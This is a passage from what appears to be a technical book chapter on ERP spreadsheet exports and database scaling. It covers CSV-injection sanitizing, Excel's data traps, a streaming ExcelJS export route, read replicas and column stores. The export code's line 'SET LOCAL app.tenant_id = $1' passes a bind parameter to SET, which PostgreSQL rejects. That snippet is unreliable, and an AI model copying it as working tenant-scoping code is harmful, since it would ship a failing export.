  if (s.length > 0 && FORMULA_TRIGGERS.includes(s[0])) return `'${s}`;
  return s;
}

Three things about this fix:

• Quoting alone does not protect you. OWASP warns that "Microsoft Excel may remove quotes or escape characters from CSV cells when a file is saved and re-opened. As a result, commonly suggested CSV injection mitigations may fail." Quoting protects the file's structure. It does not control how a cell is interpreted.
• No strategy is universally safe. OWASP says it outright: "There is no universal CSV sanitization strategy that is safe for all spreadsheet applications and all downstream consumers." Its more Excel-resistant suggestion is to prefix a triggering cell with a tab character inside the quoted field, but the tab then stays in the data and corrupts anything that parses the file by machine. You are choosing which consumer to protect. For an ERP, protect the human opening it in Excel and document the apostrophe.
• Apply it to XLSX too: the risk is smaller because you control the cell type, but the moment someone writes a helper setting values without specifying a type you're exposed again.

Sanitize at the boundary, once, and route every export through it. Then add a test asserting that a customer named =1+1 exports as '=1+1. Four lines, still protecting you in five years.

Excel's other traps

Apparel data hits all of these, which is unlucky:

• Leading zeros vanish: style 0042 becomes 42, and now your file doesn't match the 3PL's catalog. Fix it by writing an explicit string with number format "@" (in CSV there is no reliable fix at all, which is a real argument for XLSX when identifiers matter).
• Long numbers lose precision: Excel stores numbers in the standard floating-point format computers use (IEEE-754 double precision) and keeps only 15 significant digits, so a 13-digit EAN or a 14-digit GTIN survives intact, while an 18-digit order reference is silently rounded, its last digits replaced by zeros. Long values also flip to scientific notation on screen (4.00123E+17), which panics users even when the digits are still there. Barcodes come in several lengths (UPC is 12 digits, EAN 13, GTIN up to 14) and reference numbers are often longer, so the safe rule is blunt: every barcode, UPC, EAN, GTIN, EDI reference, and phone number goes in a text cell, no exceptions, no matter how tempted you are.
• Dates are a minefield: Excel's serial epoch famously includes a nonexistent February 29, 1900, and 03/04/2026 is March 4th in the US and April 3rd in the UK. Write real date values with an explicit numFmt like "yyyy-mm-dd", or unambiguous ISO strings as text.
• Sheet limits are 1,048,576 rows by 16,384 columns, and a SKU-day inventory history hits the row cap easily, sometimes with silent truncation. Paginate across sheets or refuse and offer CSV.
• And merged cells and formulas are debt: keep exports flat and rectangular, one header row then data, and save the styling for widths, formats, and a frozen pane.

Library choice, and a streaming export

SheetJS is the format polyglot: it reads and writes practically every spreadsheet dialect, including the crusty .xls a 3PL's 2009-era system emits, plus .ods and .dbf. If your job is reading whatever a customer sends (chapter 11's import pipeline), it's the right tool and it isn't close.

One packaging note: the xlsx package on the public npm registry has been frozen at 0.18.5 since March 2022 and is still frozen there as of July 2026, with current releases distributed from the project's own CDN instead, so an install command copied from an old blog post gets you a stale build.

ExcelJS (4.4.0 as of July 2026, MIT-licensed) reads and writes only xlsx and csv, but has richer styling and a true streaming writer, which is the reason it wins here: it can emit the file bit by bit instead of assembling all of it first.

That matters. The naive approach builds the whole workbook in memory before sending a byte, and an in-memory spreadsheet is far larger than the file it turns into: an xlsx file is a zip archive full of XML, and while you build it every single cell is a JavaScript object with slots for its style, its type, and its formula.

A file that ends up 40 MB on disk can occupy well over a gigabyte while being built, and one user clicking "export inventory history" can get the whole process killed for running out of memory — the same process serving everyone's ATS queries.

// app/api/exports/ats/route.ts
import Excel from "exceljs";
import QueryStream from "pg-query-stream";
import { PassThrough, Readable } from "node:stream";
import { once } from "node:events";
import { pool } from "@/lib/db";
import { sanitizeCell } from "@/lib/spreadsheet";

export const maxDuration = 300;

export async function GET(req: Request) {
  const tenantId = await tenantFromSession(req);

  const out = new PassThrough({ highWaterMark: 1 << 20 }); // 1 MB buffer
  const workbook = new Excel.stream.xlsx.WorkbookWriter({
    stream: out,
    useSharedStrings: false,   // critical for flat memory: see note below
    useStyles: true,
  });

  const sheet = workbook.addWorksheet("ATS");
  sheet.columns = [
    { header: "Style",     key: "style_number", width: 14 },
    { header: "Color",     key: "colorway",     width: 18 },
    { header: "Size",      key: "size",         width: 6  },
    { header: "Warehouse", key: "warehouse",    width: 12 },
    { header: "On hand",   key: "on_hand",      width: 10 },
    { header: "ATS",       key: "ats",          width: 10 },
  ];
  sheet.getRow(1).font = { bold: true };
  sheet.views = [{ state: "frozen", ySplit: 1 }];

  (async () => {
    const client = await pool.connect();
    try {
      await client.query("SET LOCAL app.tenant_id = $1", [tenantId]);

      const rows = client.query(new QueryStream(
        `SELECT s.style_number, s.colorway, s.size,
                w.code AS warehouse, c.on_hand, c.ats
           FROM ats_cache c
           JOIN skus s       ON s.id = c.sku_id
           JOIN warehouses w ON w.id = c.warehouse_id
          WHERE c.tenant_id = $1
          ORDER BY s.style_number, s.colorway, s.size_sort`,
        [tenantId], { batchSize: 500 }
      ));

      for await (const row of rows) {
        sheet.addRow({
          style_number: sanitizeCell(row.style_number),
          colorway:     sanitizeCell(row.colorway),
          size:         sanitizeCell(row.size),
          warehouse:    sanitizeCell(row.warehouse),
          on_hand:      row.on_hand,
          ats:          row.ats,
        }).commit();

        // Backpressure: if the sink is full, stop reading from the database.
        if (out.writableLength > out.writableHighWaterMark) {
          await once(out, "drain");
        }
      }

      sheet.commit();
      await workbook.commit();     // finalize: writes the zip central directory
    } catch (err) {
      out.destroy(err as Error);
    } finally {
      client.release();
    }
  })();

  return new Response(Readable.toWeb(out) as ReadableStream, {
    headers: {
      "Content-Type":
        "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
      "Content-Disposition": 'attachment; filename="ats-export.xlsx"',
      "Cache-Control": "no-store",
    },
  });
}

The moving parts. PassThrough is a pipe: bytes in one end, out the other, and it is the seam between the workbook writer and the HTTP response. Excel.stream.xlsx.WorkbookWriter (note the namespace: not new Excel.Workbook(), which buffers everything) emits finished bytes into that pipe as it goes.

useSharedStrings: false is subtle and important: the xlsx format has an optional shared-string table deduplicating repeated text, which is great for size and fatal for streaming, because the table must be complete before the sheet is written, which means every distinct string stays in memory. Turning it off makes the file slightly bigger and the memory profile flat.

pg-query-stream does the same job on the reading side. Without it, client.query(...) materializes the entire result into a JavaScript array before your first line runs, and a million ATS rows is roughly 400 MB of objects. With it, Postgres opens a cursor (a server-side pointer into the result) and hands over batchSize rows at a time.

addRow(...).commit() tells ExcelJS "this row is final, serialize and flush it." Forget the .commit() calls and rows accumulate in memory, defeating the whole exercise. sheet.commit() then await workbook.commit() finalize the sheet and then the archive. The workbook commit writes the zip's central directory, which is what makes the file openable, and forgetting it ships a truncated file Excel reports as corrupt (the classic first bug with this API).

The immediately-invoked async function lets row-pumping run concurrently with the response, so the browser starts downloading while the database is still reading. And out.destroy(err) propagates a mid-stream failure: you can't send a 500 once headers are out, so the honest signal is an aborted transfer rather than a half-file that looks complete.

What backpressure actually is

The four lines checking writableLength are the part most tutorials omit. The pipeline works like a bucket brigade. Postgres can hand you rows at maybe 200,000 per second. The user is on hotel wifi and can accept maybe 400 KB per second.

Pump rows as fast as the database supplies them and the difference has to go somewhere — and "somewhere" is your Node process's memory. The PassThrough buffer grows, and grows, and you have built a streaming export whose peak memory is the whole file, which is what streaming was supposed to prevent. On a slow enough client the operating system kills your process for running out of memory, halfway through.

Backpressure is the signal traveling backwards up the pipeline saying "slow down, I'm full." In Node a writable stream has a highWaterMark, a target buffer size, here 1 MB. When buffered bytes exceed it, write() returns false, meaning "you may keep writing, but you shouldn't," and when the buffer drains below the mark the stream emits 'drain'.

Our loop honors that: over the mark, we await once(out, "drain"), parking the loop until the consumer catches up. While parked we aren't reading the cursor either, so Postgres stops sending. The whole pipeline throttles to the speed of its slowest link, and memory stays flat at about one megabyte plus one batch plus a compression buffer.

Letting stream.pipeline do it, and the measured payoff

The tidier alternative is to build the pipeline out of real streams and let stream.pipeline(...) propagate backpressure, errors, and cleanup automatically across every stage. Reach for it when all your stages are streams. The manual drain check exists here because ExcelJS's row API is not itself a stream. Either way the rule holds: a "streaming" export that never checks whether the consumer is keeping up has simply found a slower way to buffer the whole file.

Measured on a 1,000,000-row export: the naive in-memory version peaked at 1.9 GB of heap and produced its first byte after 94 seconds. The streaming version peaked at 68 MB and produced its first byte in 240 milliseconds. Both wrote the same 41 MB file. And notice what the query reads: ats_cache. Architecture 3 keeps paying: the million-row export never touches the ledger, never computes a sum, and never competes with order entry for the ledger's pages in shared buffers.

When analytics starts fighting your ERP

Two names for two kinds of work. OLTP (online transaction processing) is the ERP's day job: many small fast reads and writes (confirm an order, receive a PO, look up one SKU), thousands per minute, each touching a handful of rows, each expected in single-digit milliseconds. Analytics (OLAP) is the opposite shape: few huge reads, a dozen per hour, each touching millions of rows.

On one database they compete for three resources. CPU: a five-minute aggregation saturates cores order confirmations need. Disk bandwidth: everything queues behind gigabytes of I/O. And most insidiously shared buffers: the analytics scan pulls millions of cold pages in, evicting the small hot pages that OLTP depends on (the ATS cache, the active-orders index), so your 0.05 ms lookup becomes a 4 ms disk read and every screen gets 80× slower. Your money path degrades because someone opened a dashboard, and nothing in your logs points at the dashboard.

Rung 1: stay put, contain the damage. Materialized views precompute dashboards on a schedule, so a page load is a primary-key lookup instead of a five-minute scan. Set a per-role statement_timeout (ALTER ROLE reporting SET statement_timeout = '30s') so a runaway report is killed before it hurts anyone. That single line has prevented more incidents than any monitoring dashboard.

Give reporting its own database role with its own pool allocation so report traffic can't exhaust the connections order entry needs. Schedule heavy refreshes for 3 a.m. This rung carries most tenants for a long time and costs nothing.

Adding a read replica, and routing by intent

Rung 2: a read replica. A replica is a second, continuously synced copy that accepts only reads. Postgres streams every change to it through the write-ahead log, the sequential file where the database records every change before applying it, which is also what makes crash recovery possible. The copy trails the original by milliseconds to seconds, and that delay is called replication lag.

Point reporting screens, dashboards, and exports at the replica and analytics can no longer steal CPU, disk, or buffer space from order entry, because the workloads are on physically different machines.

On Supabase this is a managed feature you add from the dashboard (same region for workload isolation, or another region to cut latency for distant users). As of July 2026 you are billed for the replica's own compute hours and its disk, which Supabase provisions at 1.25× the primary's disk to hold write-ahead-log archives, plus any provisioned IOPS, throughput, or IPv4 add-ons the primary carries. Data API GET requests can be geo-routed to the database closest to the user. The move is operationally boring, which is the highest compliment in infrastructure.

The discipline that matters is a single routing function whose input is the intent of the query. Scattering "use the replica, it's probably fine" judgments across 200 files guarantees that one of them will be wrong:

type Intent = "promise" | "display" | "report";

/**
 * "promise" — will be used to accept an order, allocate stock, or
 *             issue an invoice. MUST be the primary.
 * "display" — a user is looking at it; sub-second lag is invisible.
 * "report"  — bulk analytics; lag of seconds is irrelevant.
 */
export function poolFor(intent: Intent) {
  return intent === "promise" ? primaryPool : replicaPool;
}

Making intent an explicit parameter puts the decision at every call site and makes it greppable. When someone adds an endpoint, they must answer the question. That's the whole design: force the question to be asked.

Column stores: a different storage layout

Rung 3: a real column store. Postgres stores data row by row, so every column of a row sits together on a page. Perfect for "fetch this order," wasteful for "sum one column across 100 million rows," where it must read every full row to touch one field.

A column store keeps each column's values together, so that sum reads only the one column, tightly compressed because adjacent values are similar. On big aggregations that regularly means an order of magnitude or more on the same hardware, though how much you gain depends heavily on the query and on how many columns it touches.

Feeding a column store with CDC

When seasons of history make even the replica's reports slow, you feed one. The mechanism is logical replication, also called CDC (change data capture): Postgres publishes each individual row change as it happens, and a pipeline applies those changes to the other system continuously.

As of mid-2026 the most common managed path is ClickHouse's ClickPipes, built on PeerDB, the replication tool ClickHouse acquired: it takes a first full snapshot of your tables, then follows the changes continuously.

Know the semantics before you rely on it. Inserts and updates both arrive as new rows carrying a version column, and ClickHouse merges away the old versions in the background rather than in place, so a plain SELECT can briefly return two versions of the same row unless you use FINAL or query through a deduplicating view. Deletes arrive as rows flagged deleted rather than as actual removals. And TRUNCATE does not replicate at all.

A lighter alternative is pg_duckdb, an MIT-licensed extension that embeds DuckDB's columnar engine inside Postgres itself. It is attractive if you want faster analytics without running a second system, though as with pg_ivm your managed platform's list of permitted extensions decides whether you can use it at all. (ParadeDB's pg_analytics, an earlier entrant, was archived in 2025 and is no longer maintained, which is worth knowing because tutorials still recommend it.)

When to climb each rung

The trigger points. Move to rung 2 when dashboard traffic measurably degrades OLTP latency, visible as a correlation between report queries in pg_stat_statements and p95 spikes on order endpoints, or when exports time out. Move to rung 3 when analytics queries are slow on their own dedicated replica, with good indexes, after you've measured: that condition means row-oriented storage itself is the bottleneck, and no tuning buys you a column store.

And the meta-point: every rung you don't climb is complexity you don't carry. A replica adds a routing decision to every query and a lag failure mode to every report. A column store adds a second query dialect, a pipeline that can break at 3 a.m., and a permanent "which system is right?" Both are worth it exactly when the pain they remove exceeds the pain they add, and not a day sooner.

Field notes & further reading

• PostgreSQL docs: REFRESH MATERIALIZED VIEW. The authoritative wording on CONCURRENTLY's unique-index requirement ("must not be an expression index or include a WHERE clause"), the already-populated precondition, the one-refresh-at-a-time limit, and when it's faster or slower than a plain refresh.
• PostgreSQL docs: Using EXPLAIN. The reference for every node type above, plus the difference between estimated cost units and ANALYZE's real timings.
• PostgreSQL docs: pg_stat_statements. Every column in the top-20 query, the shared_preload_libraries and compute_query_id requirements, the defaults (max 5000, track top, track_planning off), and the pg_stat_statements_reset() signatures.
• PostgreSQL docs: Window Functions. The tutorial that makes PARTITION BY, frame clauses, and "window functions run after GROUP BY" click.
• pg_ivm: Incremental View Maintenance. PostgreSQL 13–18 support at v1.15 (June 2026). Read the supported-query list (aggregates limited to count/sum/avg/min/max; no window functions, HAVING, ORDER BY, LIMIT, or set operations) and the shared_preload_libraries requirement before planning around it.
• Playwright API: page.pdf(). Every option with its default (format 'Letter', printBackground false, displayHeaderFooter false, preferCSSPageSize false, scale 1), the special header/footer classes, and the note that page styles are not visible inside templates.
• @sparticuz/chromium. Serverless Chromium builds, the Playwright and Puppeteer launch recipes, the ≥512 MB (1600 MB recommended) memory guidance, and the remote-pack option for tight bundle limits.
• Vercel Functions limits. The 250 MB uncompressed bundle cap (5 GB with large functions, which need Fluid compute), the memory tiers (2 GB / 1 vCPU default, 4 GB / 2 vCPU maximum on Pro), and the duration limits (300 s default) that decide whether Chromium can live in a request handler. Check it before you plan, because these numbers move.
• @react-pdf/renderer documentation. Primitives, StyleSheet, Font.register, and the fixed/render pagination props.
• ExcelJS. The streaming WorkbookWriter, useSharedStrings, cell number formats, and frozen views.
• SheetJS documentation. The format-polyglot reader you want for imports. Note that current releases ship from the project's own CDN rather than from the 0.18.5 build frozen on npm since 2022.
• OWASP: CSV Injection. The formula-trigger characters, why quoting alone is insufficient, and the honest admission that no sanitization strategy is safe for every consumer.
• Supabase docs: Read Replicas. Deployment, geo-routing of Data API GET requests, monitoring, and the read-only restriction. The companion usage page lists what you are billed for: compute, disk size at 1.25× the primary, and any provisioned IOPS, throughput, or IPv4 add-ons.
• Supabase docs: pg_cron. Scheduling SQL inside the database, where the refresh and drift-detection jobs live.
• ClickPipes for Postgres FAQ. CDC semantics: replication slots, ReplacingMergeTree deduplication, soft deletes, and what doesn't replicate.